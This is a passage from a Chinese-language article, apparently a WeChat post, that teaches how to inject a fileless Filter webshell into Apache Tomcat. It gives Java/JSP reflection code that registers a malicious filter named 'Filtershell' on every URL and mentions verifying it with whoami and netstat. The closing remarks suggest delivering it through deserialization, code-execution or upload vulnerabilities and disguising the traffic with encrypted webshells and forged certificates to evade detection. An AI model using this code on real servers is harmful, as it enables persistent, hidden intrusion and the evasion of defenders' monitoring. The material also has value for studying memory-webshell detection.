// 实例化filterMap，filterMap#setFilterName()和filterMap#addURLPattern()都是public方法org.apache.tomcat.util.descriptor.web.FilterMap filterMap = new org.apache.tomcat.util.descriptor.web.FilterMap();filterMap.setFilterName("Filtershell");filterMap.addURLPattern("/*");

图21  FilterMap#setFilterName及addURLPattern方法

5.实例化ApplicationFilterConfig，向filterConfigs添加<String, ApplicationFilterConfig>

图22  ApplicationFilterConfig类

图23  filterConfigs变量

<%// 反射获取filterConfigs java.lang.reflect.Field filterConfigsF = standardContext.getClass().getDeclaredField("filterConfigs");filterConfigsF.setAccessible(true);java.util.Map filterConfigs = (java.util.Map) filterConfigsF.get(standardContext);
// 由于ApplicationFilterConfig经Final修饰，且构造方法为静态方法，无法通过new实例化，需通过反射获取ApplicationFilterConfig构造方法并实例化后添加入filterConfigsjava.lang.reflect.Constructor constructor = org.apache.catalina.core.ApplicationFilterConfig.class.getDeclaredConstructors()[0];constructor.setAccessible(true);filterConfigs.put("Filtershell", constructor.newInstance(standardContext, filterDef));

6.注入完成后，验证Filter内存马

图24  whoami命令

图25  netstat命令

末言：  

  以上获取StandardContext实例的方法不适用于Tomcat7。利用反序化漏洞、代码执行漏洞、文件上传漏洞，完成Filter内存马的注入后，可结合其他攻击手法如采用冰蝎的AES动态加密Webshell、使用伪造的HTTPS证书进行流量加密或自定义编解码方式，进而达到流量混淆规避监测等效果。然一法通，万剑归宗，在设计理念和架构思想较为统一的情况下，可利用该思路扩展Tomcat容器甚至其他Web容器、框架的攻防方法。以上行文，难免存在谬误，后续将逐渐完善，整合和分析更多的Tomcat容器攻防方式。

阅读原文

跳转微信打开